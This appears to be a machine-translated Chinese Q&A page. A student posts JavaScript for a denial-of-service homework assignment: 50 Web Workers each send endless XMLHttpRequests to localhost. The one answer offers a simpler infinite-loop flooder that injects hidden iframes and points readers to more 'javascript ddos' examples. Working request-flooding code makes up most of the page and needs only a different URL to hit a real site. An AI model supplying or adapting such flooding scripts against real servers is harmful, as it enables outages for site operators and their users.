使用WebWorkers进行JavaScript DoS攻击

时间:2017-04-01 08:43:28

标签: javascript xmlhttprequest web-worker denial-of-service

在大学,我们得到了一些尝试执行拒绝服务攻击的“功课”。我决定采取一些不同的方式然后oters。我尝试使用JavaScript执行它。

问题是:

  • 甚至可以这样吗?
  • 如果我在环回上执行HttpRequest,我会看到由于溢出的http端口导致的任何网站无法访问的结果吗?
  • 有没有比我更好的代码?

的index.html:

<script>
    for(var i = 0; i< 50; i++) {
        worker = new Worker("worker.js");
        worker.postMessage('Hello World');
    }
</script>

worker.js:

self.addEventListener('message', function(e) {
    while(1) {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function() { 
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
                    callback(xmlHttp.responseText);
            }
            xmlHttp.open("GET", "http://127.0.0.1", true);
            xmlHttp.send(null);
    }
}, false);

感谢您的任何意见!

1 个答案:

答案 0 :(得分:-1)

首先,如果我能改进这段代码,我会使用setInterval而不是while(1)。其次,我在这里找到了一个更简单的版本:

function _DDoS(url){
    document.body.innerHTML+='<iframe src="'+url+'" style="display:none;">   </iframe>';
}
for(;;){
 setTimeout(_DDoS("http://localhost"),10);
}

只搜索javascript ddos​​,你会发现很多例子